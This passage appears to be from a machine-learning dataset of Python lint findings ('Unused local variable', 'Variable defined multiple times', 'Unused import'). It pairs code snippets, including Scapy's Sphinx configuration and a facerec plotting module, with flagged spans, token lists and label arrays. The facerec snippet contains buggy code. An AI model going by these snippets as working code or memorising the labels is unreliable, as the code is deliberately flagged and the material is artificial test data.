"loads_", "(_", "request_", "._", "POST_", "[_", "'", "collection", "s", "'_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "data_", "._", "items_", "(_", ")_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "send", "\\u", "td", "\\u", "event_", "(_", "event_", ",_", "data_", "=_", "data_", ",_", "request_", "=_", "request_", ",_", "project_", "=_", "project_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "json", "\\u", "response_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
boakley/robotframework-workbench/rwb/editor/custom_notebook.py
[ { "content": " def delete_page(self, page):\n print __file__, \"delete_page is presently under development...\"\n if page in self.pages:\n self.pages.remove(page)\n self.list.remove(page)\n selection = self.list.get()\n page.pack_forget()\n page.destroy()", "metadata": "root.CustomNotebook.delete_page", "header": "['class', 'CustomNotebook', '(', 'tk', '.', 'Frame', ')', ':', '___EOS___']", "index": 60 } ]
[ { "span": "selection ", "start_line": 65, "start_column": 12, "end_line": 65, "end_column": 21 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Custom", "Notebook", "_", "(_", "tk_", "._", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "page_", "(_", "self_", ",_", "page_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\\u\\u", "file\\u\\u_", ",_", "\"", "delete", "\\u", "page", " ", "is", " ", "presen", "tl", "y", " ", "under", " ", "develop", "ment", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "page_", "in_", "self_", "._", "pages_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pages_", "._", "remove_", "(_", "page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "list_", "._", "remove_", "(_", "page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selection_", "=_", "self_", "._", "list_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page_", "._", "pack", "\\u", "forget", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page_", "._", "destroy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
bytefish/facerec/py/facerec/visual.py
[ { "content": "def plot_gray(X, sz=None, filename=None):\n if not sz is None:\n X = X.reshape(sz)\n X = minmax(I, 0, 255)\n fig = plt.figure()\n implot = plt.imshow(np.asarray(Ig), cmap=cm.gray)\n if filename is None:\n plt.show()\n else:\n fig.savefig(filename, format=\"png\", transparent=False)", "metadata": "root.plot_gray", "header": "['module', '___EOS___']", "index": 23 }, { "content": "def plot_eigenvectors(eigenvectors, num_components, sz, filename=None, start_component=0, rows = None, cols = None, title=\"Subplot\", color=True):\n if (rows is None) or (cols is None):\n rows = cols = int(math.ceil(np.sqrt(num_components)))\n num_components = np.min(num_components, eigenvectors.shape[1])\n fig = plt.figure()\n for i in range(start_component, num_components):\n vi = eigenvectors[0:,i].copy()\n vi = minmax(np.asarray(vi), 0, 255, dtype=np.uint8)\n vi = vi.reshape(sz)\n \n ax0 = fig.add_subplot(rows,cols,(i-start_component)+1)\n \n plt.setp(ax0.get_xticklabels(), visible=False)\n plt.setp(ax0.get_yticklabels(), visible=False)\n plt.title(\"%s #%d\" % (title, i), create_font('Tahoma',10))\n if color:\n implot = plt.imshow(np.asarray(vi))\n else:\n implot = plt.imshow(np.asarray(vi), cmap=cm.grey)\n if filename is None:\n fig.show()\n else:\n fig.savefig(filename, format=\"png\", transparent=False)", "metadata": "root.plot_eigenvectors", "header": "['module', '___EOS___']", "index": 34 } ]
[ { "span": "X ", "start_line": 25, "start_column": 8, "end_line": 25, "end_column": 9 }, { "span": "implot ", "start_line": 50, "start_column": 16, "end_line": 50, "end_column": 22 }, { "span": "implot ", "start_line": 52, "start_column": 16, "end_line": 52, "end_column": 22 } ]
[]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plot", "\\u", "gray_", "(_", "X_", ",_", "sz_", "=_", "None_", ",_", "filename_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "sz_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "X_", "=_", "X_", "._", "reshape_", "(_", "sz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "X_", "=_", "minmax", "_", "(_", "I_", ",_", "0_", ",_", "255_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "plt_", "._", "figure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "impl", "ot_", "=_", "plt_", "._", "imshow_", "(_", "np_", "._", "asarray_", "(_", "Ig", "_", ")_", ",_", "cmap_", "=_", "cm_", "._", "gray_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "filename_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "plt_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fig_", "._", "savefig_", "(_", "filename_", ",_", "format_", "=_", "\"", "png", "\"_", ",_", "transparent_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plot", "\\u", "eigenvector", "s_", "(_", "eigenvector", "s_", ",_", "num", "\\u", "components_", ",_", "sz_", ",_", "filename_", "=_", "None_", ",_", "start", "\\u", "component_", "=_", "0_", ",_", "rows_", "=_", "None_", ",_", "cols_", "=_", "None_", ",_", "title_", "=_", "\"", "Subp", "lot", "\"_", ",_", "color_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "rows_", "is_", "None_", ")_", "or_", "(_", "cols_", "is_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rows_", "=_", "cols_", "=_", "int_", "(_", "math_", "._", "ceil_", "(_", "np_", "._", "sqrt_", "(_", "num", "\\u", "components_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num", "\\u", "components_", "=_", "np_", "._", "min_", "(_", "num", "\\u", "components_", ",_", "eigenvector", "s_", "._", "shape_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "=_", "plt_", "._", "figure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "start", "\\u", "component_", ",_", "num", "\\u", "components_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vi_", "=_", "eigenvector", "s_", "[_", "0_", ":_", ",_", "i_", "]_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vi_", "=_", "minmax", "_", "(_", "np_", "._", "asarray_", "(_", "vi_", ")_", ",_", "0_", ",_", "255_", ",_", "dtype_", "=_", "np_", "._", "uint8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vi_", "=_", "vi_", "._", "reshape_", "(_", "sz_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ax", "0_", "=_", "fig_", "._", "add", "\\u", "subplot_", "(_", "rows_", ",_", "cols_", ",_", "(_", "i_", "-_", "start", "\\u", "component_", ")_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plt_", "._", "setp_", "(_", "ax", "0_", "._", "get", "\\u", "xticklabels_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "setp_", "(_", "ax", "0_", "._", "get", "\\u", "yticklabels_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "title_", "(_", "\"%", "s", " ", "#", "%", "d", "\"_", "%_", "(_", "title_", ",_", "i_", ")_", ",_", "create", "\\u", "font_", "(_", "'", "Ta", "hom", "a", "'_", ",_", "10_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "color_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "impl", "ot_", "=_", "plt_", "._", "imshow_", "(_", "np_", "._", "asarray_", "(_", "vi_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "impl", "ot_", "=_", "plt_", "._", "imshow_", "(_", "np_", "._", "asarray_", "(_", "vi_", ")_", ",_", "cmap_", "=_", "cm_", "._", "grey", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "filename_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fig_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fig_", "._", "savefig_", "(_", "filename_", ",_", "format_", "=_", "\"", "png", "\"_", ",_", "transparent_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
phaethon/scapy/doc/scapy/conf.py
[ { "content": "# -*- coding: utf-8 -*-\n#\n# Scapy documentation build configuration file, created by\n# sphinx-quickstart on Mon Sep 8 19:37:39 2008.\n#\n# This file is execfile()d with the current directory set to its containing dir.\n#\n# The contents of this file are pickled, so don't put values in the namespace\n# that aren't pickleable (module imports are okay, they're removed automatically).\n#\n# All configuration values have a default value; values that are commented out\n# serve to show the default value.\n\nimport sys, os\n\n# If your extensions are in another directory, add it here. If the directory\n# is relative to the documentation root, use os.path.abspath to make it\n# absolute, like shown here.\n#sys.path.append(os.path.abspath('some/directory'))\n\n# General configuration\n# ---------------------\n\n# Add any Sphinx extension module names here, as strings. They can be extensions\n# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.\nextensions = []\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix of source filenames.\nsource_suffix = '.rst'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General substitutions.\nproject = 'Scapy'\ncopyright = '2008, 2009 Philippe Biondi and the Scapy community'\n\n# The default replacements for |version| and |release|, also used in various\n# other places throughout the built documents.\n#\n# The short X.Y version.\nversion = '3.0.0'\n# The full version, including alpha/beta/rc tags.\nrelease = '3.0.0'\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\ntoday_fmt = '%B %d, %Y'\n\n# List of documents that shouldn't be included in the build.\n#unused_docs = []\n\n# List of directories, relative to source directories, that shouldn't be searched\n# for source files.\n#exclude_dirs = []\n\n# The reST default role (used for this markup: `text`) to use for all documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n\n# Options for HTML output\n# -----------------------\n\n# The style sheet to use for HTML and HTML Help pages. A file of that name\n# must exist either in Sphinx' static/ path, or in one of the custom paths\n# given in html_static_path.\nhtml_style = 'default.css'\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (within the static path) to place at the top of\n# the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\nhtml_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\nhtml_use_modindex = False\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, the reST sources are included in the HTML build as _sources/<name>.\n#html_copy_source = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it. The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# If nonempty, this is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = ''\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'Scapydoc'\n\n\n# Options for LaTeX output\n# ------------------------\n\n# The paper size ('letter' or 'a4').\nlatex_paper_size = 'a4'\n\n# The font size ('10pt', '11pt' or '12pt').\nlatex_font_size = '11pt'\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title, author, document class [howto/manual]).\nlatex_documents = [\n ('index', 'Scapy.tex', 'Scapy Documentation',\n 'Philippe Biondi and the Scapy community', 'manual'),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# Additional stuff for the LaTeX preamble.\n#latex_preamble = ''\n\n# Documents to append as an appendix to all manuals.\n#latex_appendices = []\n\n# If false, no module index is generated.\nlatex_use_modindex = False\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import sys, os", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 14 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sca", "py", " ", "documentation", " ", "build", " ", "configura", "tion", " ", "file", ",", " ", "created", " ", "by_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sphinx", "-", "quicks", "tart", " ", "on", " ", "Mon", " ", "Se", "p", " ", " ", "8", " ", "1", "9", ":", "3", "7", ":", "3", "9", " ", "2008", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "file", " ", "is", " ", "execfile", "()", "d", " ", "with", " ", "the", " ", "current", " ", "director", "y", " ", "set", " ", "to", " ", "its", " ", "contain", "ing", " ", "dir", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "content", "s", " ", "of", " ", "this", " ", "file", " ", "are", " ", "pickled", ",", " ", "so", " ", "don", "'", "t", " ", "put", " ", "values", " ", "in", " ", "the", " ", "namespace_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tha", "t", " ", "are", "n", "'", "t", " ", "pickle", "able", " ", "(", "module", " ", "import", "s", " ", "are", " ", "oka", "y", ",", " ", "the", "y", "'", "re", " ", "remove", "d", " ", "automati", "call", "y", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "configura", "tion", " ", "values", " ", "have", " ", "a", " ", "default", " ", "value", ";", " ", "values", " ", "tha", "t", " ", "are", " ", "commente", "d", " ", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "serve", " ", "to", " ", "show", " ", "the", " ", "default", " ", "value", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", ",_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "your", " ", "extensi", "ons", " ", "are", " ", "in", " ", "anot", "her", " ", "director", "y", ",", " ", "add", " ", "it", " ", "here", ".", " ", "If", " ", "the", " ", "directory_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "relative", " ", "to", " ", "the", " ", "documentation", " ", "root", ",", " ", "use", " ", "os", ".", "path", ".", "abs", "path", " ", "to", " ", "make", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "abs", "olute", ",", " ", "like", " ", "shown", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "sys", ".", "path", ".", "append", "(", "os", ".", "path", ".", "abs", "path", "('", "some", "/", "director", "y", "'))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "General", " ", "configuration_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "-------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "Sph", "inx", " ", "extensi", "on", " ", "module", " ", "names", " ", "here", ",", " ", "as", " ", "string", "s", ".", " ", "The", "y", " ", "can", " ", "be", " ", "extensions_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "comi", "ng", " ", "with", " ", "Sph", "inx", " ", "(", "named", " ", "'", "sphinx", ".", "ext", ".*", "')", " ", "or", " ", "your", " ", "custom", " ", "ones", "._", "\\u\\u\\uNL\\u\\u\\u_", "extensions_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "any", " ", "path", "s", " ", "tha", "t", " ", "contain", " ", "template", "s", " ", "here", ",", " ", "relative", " ", "to", " ", "this", " ", "director", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "template", "s", "\\u", "path_", "=_", "[_", "'\\u", "template", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "suff", "ix", " ", "of", " ", "source", " ", "filename", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "source", "\\u", "suffix_", "=_", "'.", "rst", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "master", " ", "toc", "tree", " ", "document", "._", "\\u\\u\\uNL\\u\\u\\u_", "master", "\\u", "doc_", "=_", "'", "index", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "General", " ", "substitution", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "project_", "=_", "'", "Sca", "py", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "copyright_", "=_", "'", "2008", ",", " ", "200", "9", " ", "Phil", "ipp", "e", " ", "Bio", "ndi", " ", "and", " ", "the", " ", "Sca", "py", " ", "communi", "ty", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "default", " ", "replace", "ment", "s", " ", "for", " ", "|", "version", "|", " ", "and", " ", "|", "release", "|", ",", " ", "als", "o", " ", "used", " ", "in", " ", "vari", "ous_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "other", " ", "place", "s", " ", "through", "out", " ", "the", " ", "bui", "lt", " ", "document", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "short", " ", "X", ".", "Y", " ", "version", "._", "\\u\\u\\uNL\\u\\u\\u_", "version_", "=_", "'", "3.0", ".0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "full", " ", "version", ",", " ", "inclu", "ding", " ", "alpha", "/", "beta", "/", "rc", " ", "tags", "._", "\\u\\u\\uNL\\u\\u\\u_", "release_", "=_", "'", "3.0", ".0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", " ", "are", " ", "two", " ", "options", " ", "for", " ", "repla", "cing", " ", "|", "toda", "y", "|", ":", " ", "eit", "her", ",", " ", "you", " ", "set", " ", "toda", "y", " ", "to", " ", "some", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "non", "-", "fal", "se", " ", "value", ",", " ", "then", " ", "it", " ", "is", " ", "used", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "toda", "y", " ", "=", " ", "''_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Else", ",", " ", "toda", "y", "\\u", "fmt", " ", "is", " ", "used", " ", "as", " ", "the", " ", "format", " ", "for", " ", "a", " ", "strf", "time", " ", "call", "._", 